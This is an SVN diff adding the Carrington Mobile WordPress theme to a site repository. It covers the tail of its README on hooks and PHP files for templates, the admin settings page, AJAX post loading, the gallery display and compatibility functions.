+- `cfct_context` - allows you to apply filters to the return value of the `cfct_context()` function; the function that checks to see what posts file, loop file, etc. to show.
+- `cfct_filename` - filter the output of the `cfct_filename()` function.
+- `cfct_general_match_order` - set the order in which general templates are chosen (make it check for a cat-general template ahead of a cat-news template, etc.).
+- `cfct_choose_general_template` - filter the output of the `cfct_choose_general_template()` function (the selected general template).
+- `cfct_single_match_order` - set the order in which single and content templates are chosen (make it check for author templates ahead of meta template, etc.).
+- `cfct_choose_single_template` - filter the output of the `cfct_choose_single_template()` function (the selected single template).
+- `cfct_choose_content_template` - filter the output of the `cfct_choose_content_template()` function (the selected content template).
+- `cfct_comment_match_order` - set the order in which content templates are chosen (make it check for role templates ahead of user templates, etc.).
+- `cfct_choose_comment_template` - filter the output of the `cfct_choose_comment_template()` function (the selected comment template).
+- `cfct_meta_templates` - filter the return value of the `cfct_meta_templates()` function (change the list of files returned).
+- `cfct_cat_templates` - filter the return value of the `cfct_cat_templates()` function (change the list of files returned).
+- `cfct_tag_templates` - filter the return value of the `cfct_tag_templates()` function (change the list of files returned).
+- `cfct_author_templates` - filter the return value of the `cfct_author_templates()` function (change the list of files returned).
+- `cfct_role_templates` - filter the return value of the `cfct_role_templates()` function (change the list of files returned).
+- `cfct_parent_templates` - filter the return value of the `cfct_role_templates()` function (change the list of files returned).
+- `cfct_single_templates` - filter the return value of the `cfct_parent_templates()` function (change the list of files returned).
+- `cfct_comment_templates` - filter the return value of the `cfct_single_templates()` function (change the list of files returned).
+`cfct_post_gallery_columns` - set the number of columns to show in the gallery.
+`gallery_style` - retained from the WP function code copied in and altered for gallery display.
+`cfct_option_defaults` - allows you to set defaults (alter/add/etc.) for Carrington options.
+
+
+### Actions
+
+- `cfct_settings_form` - allows you to add your own fields to the Carrington Settings form (left for compatibility` - recommend using _top and _bottom as needed instead of this).
+- `cfct_settings_form_top` - allows you to add your own fields at the top of the Carrington Settings form.
+- `cfct_settings_form_bottom` - allows you to add your own fields at the bottom of the Carrington Settings form.
+- `cfct_settings_form_after` - allows you to add your content after the Carrington Settings form. Useful if you want to add a second form to the page, or some other content.
+- `cfct_update_settings` - allows you to take action when the Carrington settings are being saved (perhaps to also save fields you've added in the `cfct_settings_form` action).
+
+
+## Plugins
+
+Any .php files in the *plugins/* directory will be automatically loaded by Carrington. This is a great way to bundle in custom functions or to hook into Carrington's actions or filters and be able to distribute everything as a single theme package.
+
+---
+
+## Tips
+
+There is very minor extra processing associated with the file system and context checks that Carrington requires. This overhead is virtually unnoticeable, however the use of a caching plugin is recommended as a general best practice.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/archive.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_posts();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/archives.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/archives.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/archives.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/README.txt	(revision 44)
@@ -0,0 +1,15 @@
+## carrington-core/
+
+### Overview
+
+This directory contains Carrington's custom features and functionality.
+
+
+### Supported Override Filenames
+
+- (none)
+
+
+### File Descriptions
+
+You do not need to do anything with files in this folder; they should remain as-is.
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/admin.php	(revision 44)
@@ -0,0 +1,330 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+// - add admin page for config settings
+
+function cfct_admin_menu() {
+	if (!current_user_can('manage_options')) {
+		return;
+	}
+	add_submenu_page(
+		'themes.php'
+		, __('Carrington Settings', 'carrington')
+		, __('Carrington', 'carrington')
+		, 0
+		, 'carrington-settings'
+		, 'cfct_settings_form'
+	);
+}
+add_action('admin_menu', 'cfct_admin_menu');
+
+function cfct_admin_request_handler() {
+	if (isset($_POST['cf_action'])) {
+		switch ($_POST['cf_action']) {
+			case 'cfct_update_settings':
+				call_user_func($_POST['cf_action']);
+				wp_redirect(trailingslashit(get_bloginfo('wpurl')).'wp-admin/themes.php?page=carrington-settings&updated=true');
+		}
+	}
+}
+
+function cfct_update_settings() {
+	if (!current_user_can('manage_options')) {
+		return;
+	}
+	global $cfct_options;
+	foreach ($cfct_options as $option) {
+		if (isset($_POST[$option])) {
+			update_option($option, stripslashes($_POST[$option]));
+		}
+	}
+	do_action('cfct_update_settings');
+}
+
+function cfct_settings_form() {
+	if (isset($_GET['updated'])) {
+		print('
+<div id="message" class="updated fade">
+	<p>'.__('Settings updated.', 'carrington').'</p>
+</div>
+		');
+	}
+	print('
+<div class="wrap">
+	<h2>'.__('Carrington Settings', 'carrington').'</h2>
+	<form action="options.php" method="post">
+	');
+	do_action('cfct_settings_form_top');
+	print('
+		<table class="form-table">
+			<tbody>'
+//			.cfct_options_home_column('1')
+//			.cfct_options_home_column('2')
+//			.cfct_options_home_column('3')
+			.cfct_options_misc()
+			.'</tbody>
+		</table>
+	');
+	do_action('cfct_settings_form_bottom');
+	do_action('cfct_settings_form');
+	print('
+		<p class="submit" style="padding-left: 230px;">
+			<input type="hidden" name="cf_action" value="cfct_update_settings" />
+			<input type="submit" name="submit_button" class="button-primary" value="'.__('Save Changes', 'carrington').'" />
+		</p>
+	</form>
+</div>
+	');
+	do_action('cfct_settings_form_after');
+}
+
+function cfct_options_home_column($key) {
+	$categories = get_categories('hide_empty=0');
+	$cat_options = '';
+	foreach ($categories as $category) {
+		if ($category->term_id == get_option('cfct_home_col_'.$key.'_cat')) {
+			$selected = 'selected="selected"';
+		}
+		else {
+			$selected = '';
+		}
+		$cat_options .= "\n\t<option value='$category->term_id' $selected>$category->name</option>";
+	}
+	$show_options = '';
+	$show_option = cfct_get_option('cfct_home_column_'.$key.'_content');
+	if ($show_option == 'latest') {
+		$latest_selected = 'selected="selected"';
+		$list_selected = '';
+	}
+	else {
+		$latest_selected = '';
+		$list_selected = 'selected="selected"';
+	}
+	$html = '
+				<tr valign="top">
+					<th scope="row">'.sprintf(__('Home Column %s', 'carrington'), $key).'</td>
+					<td>
+						<fieldset>
+							<p>
+								<label for="cfct_home_column_'.$key.'_cat">'.__('Category:', 'carrington').'</label>
+								<select name="cfct_home_column_'.$key.'_cat" id="cfct_home_column_'.$key.'_cat">'.$cat_options.'</select>
+							</p>
+							<p>
+								<label for="cfct_home_column_'.$key.'_content">'.__('Show:', 'carrington').'</label>
+								<select name="cfct_home_column_'.$key.'_content" id="cfct_home_column_'.$key.'_content" class="home_column_select">
+									<option value="latest" '.$latest_selected.'>'.__('Latest Post Preview', 'carrington').'</option>
+									<option value="list" '.$list_selected.'>'.__('List of Recent Post Titles', 'carrington').'</option>
+								</select>
+							</p>
+							<p id="cfct_latest_limit_'.$key.'_option" class="hidden">
+								<label for="cfct_latest_limit_'.$key.'">'.__('Length of preview, in characters (250 recommended):', 'carrington').'</label>
+								<input type="text" name="cfct_latest_limit_'.$key.'" id="cfct_latest_limit_'.$key.'" value="'.cfct_get_option('cfct_latest_limit_'.$key).'" />
+							</p>
+							<p id="cfct_list_limit_'.$key.'_option" class="hidden">
+								<label for="cfct_list_limit_'.$key.'">'.__('Number of titles to show in list (5 recommended):', 'carrington').'</label>
+								<input type="text" name="cfct_list_limit_'.$key.'" id="cfct_list_limit_'.$key.'" value="'.cfct_get_option('cfct_list_limit_'.$key).'" />
+							</p>
+						</fieldset>
+					</td>
+				</tr>
+	';
+	return $html;
+}
+
+function cfct_options_misc() {
+	$options = array(
+		'yes' => __('Yes', 'carrington'),
+		'no' => __('No', 'carrington')
+	);
+	$credit_options = '';
+	foreach ($options as $k => $v) {
+		if ($k == get_option('cfct_credit')) {
+			$credit_selected = 'selected="selected"';
+		}
+		else {
+			$credit_selected = '';
+		}
+		$credit_options .= "\n\t<option value='$k' $credit_selected>$v</option>";
+	}
+	$html = '
+				<tr valign="top">
+					<th scope="row">'.sprintf(__('Misc.', 'carrington'), $key).'</td>
+					<td>
+						<fieldset>
+							<p>
+								<label for="cfct_about_text">'.__('About text (shown in sidebar):', 'carrington').'</label>
+								<br />
+								<textarea name="cfct_about_text" id="cfct_about_text" cols="40" rows="8">'.htmlspecialchars(get_option('cfct_about_text')).'</textarea>
+							</p>
+							<p>
+								<label for="cfct_wp_footer">'.__('Footer code (for analytics, etc.):', 'carrington').'</label>
+								<br />
+								<textarea name="cfct_wp_footer" id="cfct_wp_footer" cols="40" rows="5">'.htmlspecialchars(get_option('cfct_wp_footer')).'</textarea>
+							</p>
+							<p>
+								<label for="cfct_credit">'.__('Give <a href="http://crowdfavorite.com">Crowd Favorite</a> credit in footer:', 'carrington').'</label>
+								<select name="cfct_credit" id="cfct_credit">'.$credit_options.'</select>
+							</p>
+						</fieldset>
+					</td>
+				</tr>
+	';
+	return $html;
+}
+
+function cfct_header_image_form() {
+	global $wpdb;
+
+	$images = $wpdb->get_results("
+		SELECT * FROM $wpdb->posts 
+		WHERE post_type = 'attachment' 
+		AND post_mime_type LIKE 'image%' 
+		AND post_parent = 0
+		ORDER BY post_date_gmt DESC
+		LIMIT 50
+	");
+	$upload_url = trailingslashit(get_bloginfo('wpurl')).'wp-admin/media-new.php';
+	$checked_attr = ' checked="checked"';
+	$output = '
+<ul style="width: '.((count($images) + 1) * 152).'px">
+	<li style="background: #666;">
+		<label for="cfct_header_image_0">
+			<input type="radio" name="cfct_header_image" value="0" id="cfct_header_image_0" '.$default_checked.'/>'.__('No Image', 'carrington-core').'
+		</label>
+	</li>
+	';
+	if (count($images)) {
+		$header_image = get_option('cfct_header_image');
+		if (empty($header_image)) {
+			$header_image = 0;
+			$default_checked = $checked_attr;
+		}
+		else {
+			$default_checked = '';
+		}
+		foreach ($images as $image) {
+			$id = 'cfct_header_image_'.$image->ID;
+			$thumbnail = wp_get_attachment_image_src($image->ID);
+			$header_image == $image->ID ? $checked = $checked_attr : $checked = '';
+			$output .= '
+	<li style="background-image: url('.$thumbnail[0].')">
+		<label for="'.$id.'">
+			<input type="radio" name="cfct_header_image" value="'.$image->ID.'" id="'.$id.'"'.$checked.' />'.wp_specialchars($image->post_title).'
+		</label>
+	</li>';
+		}
+	}
+	$output .= '</ul>';
+	return '<p>'.sprintf(__('Header Image &mdash; <a href="%s">Upload Images</a>', 'carrington-core'), $upload_url).'</p><div class="cfct_header_image_carousel">'.$output.'</div>';
+}
+
+if (is_admin()) {
+	wp_enqueue_script('jquery-colorpicker', get_bloginfo('template_directory').'/carrington-core/js/colorpicker.js', array('jquery'), '1.0');
+// removing until we drop 2.5 compatibility
+//	wp_enqueue_style('jquery-colorpicker', get_bloginfo('template_directory').'/carrington-core/css/colorpicker.css');
+}
+
+function cfct_admin_head() {
+// see enqueued style above, we'll activate that in the future
+	if ($_GET['page'] == 'carrington-settings') {
+		echo '
+<link rel="stylesheet" type="text/css" media="screen" href="'.get_bloginfo('template_directory').'/carrington-core/css/colorpicker.css" />
+		';
+		cfct_admin_css();
+	}
+//	cfct_admin_js();
+}
+add_action('admin_head', 'cfct_admin_head');
+
+function cfct_admin_css() {
+?>
+<style type="text/css">
+div.cfct_header_image_carousel {
+	height: 170px;
+	overflow: auto;
+	width: 600px;
+}
+div.cfct_header_image_carousel ul {
+	height: 150px;
+}
+div.cfct_header_image_carousel li {
+	background: #fff url() center center no-repeat;
+	float: left;
+	height: 150px;
+	margin-right: 2px;
+	overflow: hidden;
+	position: relative;
+	width: 150px;
+}
+div.cfct_header_image_carousel li label {
+	background: #000;
+	color: #fff;
+	display: block;
+	height: 50px;
+	line-height: 25px;
+	overflow: hidden;
+	position: absolute;
+	top: 110px;
+	width: 150px;
+	filter:alpha(opacity=75);
+	-moz-opacity:.75;
+	opacity:.75;
+}
+div.cfct_header_image_carousel li label input {
+	margin: 0 5px;
+}
+</style>
+<?php
+}
+
+function cfct_admin_js() {
+?>
+<script type="text/javascript">
+jQuery(function() {
+	jQuery('select.home_column_select').each(function() {
+		cfct_home_columns(jQuery(this), false);
+	}).change(function() {
+		cfct_home_columns(jQuery(this), true);
+	});
+});
+
+function cfct_home_columns(elem, slide) {
+	var id = elem.attr('id').replace('cfct_home_column_', '').replace('_content', '');
+	var val = elem.val();
+	var option_show = '#cfct_latest_limit_' + id + '_option';
+	var option_hide = '#cfct_list_limit_' + id + '_option';
+	if (val == 'list') {
+		option_show = '#cfct_list_limit_' + id + '_option';
+		option_hide = '#cfct_latest_limit_' + id + '_option';
+	}
+	if (slide) {
+		jQuery(option_hide).slideUp(function() {
+			jQuery(option_show).slideDown();
+		});
+	}
+	else {
+		jQuery(option_show).show();
+		jQuery(option_hide).hide();
+	}
+}
+</script>
+<?php
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/ajax-load.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/ajax-load.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/ajax-load.php	(revision 44)
@@ -0,0 +1,99 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+function cfct_ajax_post_content($post_id) {
+	global $post, $posts, $wp_query, $wp;
+	$posts = get_posts('include='.$post_id);
+	$post = $posts[0];
+	if (is_null($post)) {
+		$posts = get_pages('include='.$post_id);
+		$post = $posts[0];
+	}
+	if (is_null($post)) {
+		$posts = get_posts('post_status=private&include='.$post_id);
+		$post = $posts[0];
+		if ($post) {
+			$user = wp_get_current_user();
+			if (!$user->ID || $user->ID != $post->post_author) {
+				$post = null;
+			}
+		}
+	}
+	if (!$post) {
+		die('');
+	}
+	$wp_query->in_the_loop = true;
+	setup_postdata($post);
+	remove_filter('the_content', 'st_add_widget');
+	$wp->send_headers();
+	cfct_content();
+	echo '<div class="close" id="post_close_'.$post_id.'"><a href="#">'.__('Close', 'carrington').'</a></div>';
+}
+
+function cfct_ajax_post_comments($post_id) {
+	global $post, $posts, $wp_query, $wp;
+	$wp_query->is_single = true;
+	$posts = get_posts('include='.$post_id);
+	$post = $posts[0];
+	if (is_null($post)) {
+		$posts = get_pages('include='.$post_id);
+		$post = $posts[0];
+	}
+	setup_postdata($post);
+	$wp->send_headers();
+	comments_template();
+}
+
+function cfct_ajax_load() {
+	if (isset($_GET['cfct_action'])) {
+		switch ($_GET['cfct_action']) {
+			case 'post_content':
+			case 'post_comments':
+				if (isset($_GET['id'])) {
+					$post_id = intval($_GET['id']);
+				}
+				else if (isset($_GET['url'])) {
+					$post_id = url_to_post_id($_GET['url']);
+				}
+				if ($post_id) {
+					call_user_func('cfct_ajax_'.$_GET['cfct_action'], $post_id);
+					die();
+				}
+		}
+	}
+}
+
+function cfct_ajax_comment_link() {
+	global $post;
+	echo ' rev="post-'.$post->ID.'" ';
+}
+add_filter('comments_popup_link_attributes', 'cfct_ajax_comment_link');
+
+function cfct_posts_per_archive_page($query) {
+	$count = get_option('cfct_posts_per_archive_page');
+	intval($count) > 0 ? $count = $count : $count = 25;
+	$query->set('posts_per_archive_page', $count);
+	if (is_category()) {
+		$query->set('posts_per_page', $count);
+	}
+	return $query;
+}
+add_filter('pre_get_posts', 'cfct_posts_per_archive_page');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/attachment.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/attachment.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/attachment.php	(revision 44)
@@ -0,0 +1,126 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+function cfct_get_adjacent_image_link($prev = true) {
+	global $post;
+	$post = get_post($post);
+	$attachments = array_values(get_children( array('post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID') ));
+
+	foreach ( $attachments as $k => $attachment )
+		if ( $attachment->ID == $post->ID )
+			break;
+
+	$k = $prev ? $k - 1 : $k + 1;
+
+	if ( isset($attachments[$k]) )
+		return wp_get_attachment_link($attachments[$k]->ID, 'thumbnail', true);
+}
+
+function cfct_post_gallery($unused, $attr) {
+	global $post;
+
+	// We're trusting author input, so let's at least make sure it looks like a valid orderby statement
+	if ( isset( $attr['orderby'] ) ) {
+		$attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );
+		if ( !$attr['orderby'] )
+			unset( $attr['orderby'] );
+	}
+
+	extract(shortcode_atts(array(
+		'order'      => 'ASC',
+		'orderby'    => 'menu_order ID',
+		'id'         => $post->ID,
+		'itemtag'    => 'dl',
+		'icontag'    => 'dt',
+		'captiontag' => 'dd',
+		'columns'    => 3,
+		'size'       => 'thumbnail'
+	), $attr));
+
+	$id = intval($id);
+	$attachments = get_children( array('post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $order, 'orderby' => $orderby) );
+
+	if ( empty($attachments) )
+		return '';
+
+	if ( is_feed() ) {
+		$output = "\n";
+		foreach ( $attachments as $id => $attachment )
+			$output .= wp_get_attachment_link($id, $size, true) . "\n";
+		return $output;
+	}
+
+	$itemtag = tag_escape($itemtag);
+	$captiontag = tag_escape($captiontag);
+	$columns = apply_filters('cfct_post_gallery_columns', intval($columns));
+	$itemwidth = $columns > 0 ? floor(100/$columns) : 100;
+
+	$output = apply_filters('gallery_style', "
+		<style type='text/css'>
+			.gallery {
+				margin: auto;
+			}
+			.gallery-item {
+				float: left;
+				margin-top: 10px;
+				text-align: center;
+				width: {$itemwidth}%;			}
+			.gallery img {
+				border: 2px solid #cfcfcf;
+			}
+			.gallery-caption {
+				margin-left: 0;
+			}
+		</style>
+		<!-- see cfct_post_gallery() in carrington-core/attachment.php -->
+		<div class='gallery'>");
+
+	$i = 0;
+	foreach ( $attachments as $id => $attachment ) {
+// get full item src
+		$item_src = wp_get_attachment_image_src($id, 'full', false);
+
+		$link = isset($attr['link']) && 'file' == $attr['link'] ? wp_get_attachment_link($id, $size, false, false) : wp_get_attachment_link($id, $size, true, false);
+		
+// add full item src as rel
+		$link = str_replace('><img', ' class="thickbox" rel="'.$item_src[0].'"><img', $link);
+
+		$output .= "<{$itemtag} class='gallery-item'>";
+		$output .= "
+			<{$icontag} class='gallery-icon'>
+				$link
+			</{$icontag}>";
+		if ( $captiontag && trim($attachment->post_excerpt) ) {
+			$output .= "
+				<{$captiontag} class='gallery-caption'>
+				{$attachment->post_excerpt}
+				</{$captiontag}>";
+		}
+		$output .= "</{$itemtag}>";
+		if ( $columns > 0 && ++$i % $columns == 0 )
+			$output .= '<br style="clear: both" />';
+	}
+
+	$output .= "
+			<br style='clear: both;' />
+		</div>\n";
+
+	return $output;
+}
+add_filter('post_gallery', 'cfct_post_gallery', 10, 2);
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/carrington.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/carrington.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/carrington.php	(revision 44)
@@ -0,0 +1,96 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+//	ini_set('display_errors', '1');
+//	ini_set('error_reporting', E_ALL);
+
+load_theme_textdomain('carrington');
+
+$cfct_options[] = 'cfct_about_text';
+$cfct_options[] = 'cfct_credit';
+$cfct_options[] = 'cfct_wp_footer';
+
+include_once(CFCT_PATH.'carrington-core/admin.php');
+include_once(CFCT_PATH.'carrington-core/templates.php');
+include_once(CFCT_PATH.'carrington-core/utility.php');
+include_once(CFCT_PATH.'carrington-core/ajax-load.php');
+include_once(CFCT_PATH.'carrington-core/attachment.php');
+include_once(CFCT_PATH.'carrington-core/compatibility.php');
+
+cfct_load_plugins();
+
+function cfct_init() {
+	cfct_admin_request_handler();
+	if (cfct_get_option('cfct_ajax_load') == 'yes') {
+		cfct_ajax_load();
+	}
+}
+add_action('init', 'cfct_init');
+
+function cfct_wp_footer() {
+	echo get_option('cfct_wp_footer');
+}
+add_action('wp_footer', 'cfct_wp_footer');
+
+function cfct_about_text() {
+	$about_text = get_option('cfct_about_text');
+	if (!empty($about_text)) {
+		$about_text = cfct_basic_content_formatting($about_text);
+	}
+	else {
+		global $post, $wp_query;
+		$page = $wp_query->query_vars['page'];
+// temporary - resetting below
+		$wp_query->query_vars['page'] = null;
+		remove_filter('the_excerpt', 'st_add_widget');
+		$about_query = new WP_Query('pagename=about');
+		while ($about_query->have_posts()) {
+			$about_query->the_post();
+			$about_text = get_the_excerpt().sprintf(__('<a class="more" href="%s">more &rarr;</a>', 'carrington'), get_permalink());
+		}
+		$wp_query->query_vars['page'] = $page;
+	}
+	if (function_exists('st_add_widget')) {
+		add_filter('the_excerpt', 'st_add_widget');
+	}
+	return $about_text;
+}
+
+function cfct_get_custom_colors($type = 'option') {
+	global $cfct_color_options;
+	$colors = array();
+	foreach ($cfct_color_options as $option => $value) {
+		switch ($type) {
+			case 'preview':
+				!empty($_GET[$option]) ? $colors[$option] = strip_tags(stripslashes($_GET[$option])) : $colors[$option] = '';
+				break;
+			case 'option':
+			default:
+				$colors[$option] = cfct_get_option($option);
+				break;
+		}
+	}
+	return $colors;
+}
+
+if (!defined('CFCT_DEBUG')) {
+	define('CFCT_DEBUG', false);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/compatibility.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/compatibility.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/carrington-mobile-1.0.2/carrington-core/compatibility.php	(revision 44)
@@ -0,0 +1,234 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+//
+// Functions here without the cfct_ prefix are taken from WordPress 2.7 under the GPL
+
+if (!function_exists('is_sticky')) {
+	function is_sticky() {
+		return false;
+	}
+}
+
+/**
+ * Displays classes for post div
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @param int $post_id An optional post ID.
+ */
+
+if (!function_exists('post_class')) {
+	function post_class( $class = '', $post_id = null ) {
+		// Separates classes with a single space, collates classes for post DIV
+		echo 'class="' . join( ' ', get_post_class( $class, $post_id ) ) . '"';
+	}
+}
+
+/**
+ * Retrieve the classes for the post div as an array.
+ *
+ * The class names are add are many. If the post is a sticky, then the 'sticky'
+ * class name. The class 'hentry' is always added to each post. For each
+ * category, the class will be added with 'category-' with category slug is
+ * added. The tags are the same way as the categories with 'tag-' before the tag
+ * slug. All classes are passed through the filter, 'post_class' with the list
+ * of classes, followed by $class parameter value, with the post ID as the last
+ * parameter.
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @param int $post_id An optional post ID.
+ * @return array Array of classes.
+ */
+if (!function_exists('get_post_class')) {
+	function get_post_class( $class = '', $post_id = null ) {
+		$post = get_post($post_id);
+
+		$classes = array();
+
+		$classes[] = $post->post_type;
+
+		// sticky for Sticky Posts
+		if ( is_sticky($post->ID) && is_home())
+			$classes[] = 'sticky';
+
+		// hentry for hAtom compliace
+		$classes[] = 'hentry';
+
+		// Categories
+		foreach ( (array) get_the_category($post->ID) as $cat ) {
+			if ( empty($cat->slug ) )
+				continue;
+			$classes[] = 'category-' . $cat->slug;
+		}
+
+		// Tags
+		foreach ( (array) get_the_tags($post->ID) as $tag ) {
+			if ( empty($tag->slug ) )
+				continue;
+			$classes[] = 'tag-' . $tag->slug;
+		}
+
+		if ( !empty($class) ) {
+			if ( !is_array( $class ) )
+				$class = preg_split('#\s+#', $class);
+			$classes = array_merge($classes, $class);
+		}
+
+		return apply_filters('post_class', $classes, $class, $post_id);
+	}
+}
+
+/**
+ * Display "sticky" CSS class, if a post is sticky.
+ *
+ * @param int $post_id An optional post ID.
+ */
+if (!function_exists('sticky_class')) {
+	function sticky_class( $post_id = null ) {
+		if ( !is_sticky($post_id) )
+			return;
+
+		echo " sticky";
+	}
+}
+
+/**
+ * Generates semantic classes for each comment element
+ *
+ * @param string|array $class One or more classes to add to the class list
+ * @param int $comment_id An optional comment ID
+ * @param int $post_id An optional post ID
+ * @param bool $echo Whether comment_class should echo or return
+ */
+if (!function_exists('comment_class')) {
+	function comment_class( $class = '', $comment_id = null, $post_id = null, $echo = true ) {
+		// Separates classes with a single space, collates classes for comment DIV
+		$class = 'class="' . join( ' ', get_comment_class( $class, $comment_id, $post_id ) ) . '"';
+		if ( $echo)
+			echo $class;
+		else
+			return $class;
+	}
+}
+
+/**
+ * Returns the classes for the comment div as an array
+ *
+ * @param string|array $class One or more classes to add to the class list
+ * @param int $comment_id An optional comment ID
+ * @param int $post_id An optional post ID
+ * @return array Array of classes
+ */
+if (!function_exists('get_comment_class')) {
+	function get_comment_class( $class = '', $comment_id = null, $post_id = null ) {
+		global $comment_alt, $comment_depth, $comment_thread_alt;
+
+		$comment = get_comment($comment_id);
+
+		$classes = array();
+
+		// Get the comment type (comment, trackback),
+		$classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type;
+
+		// If the comment author has an id (registered), then print the log in name
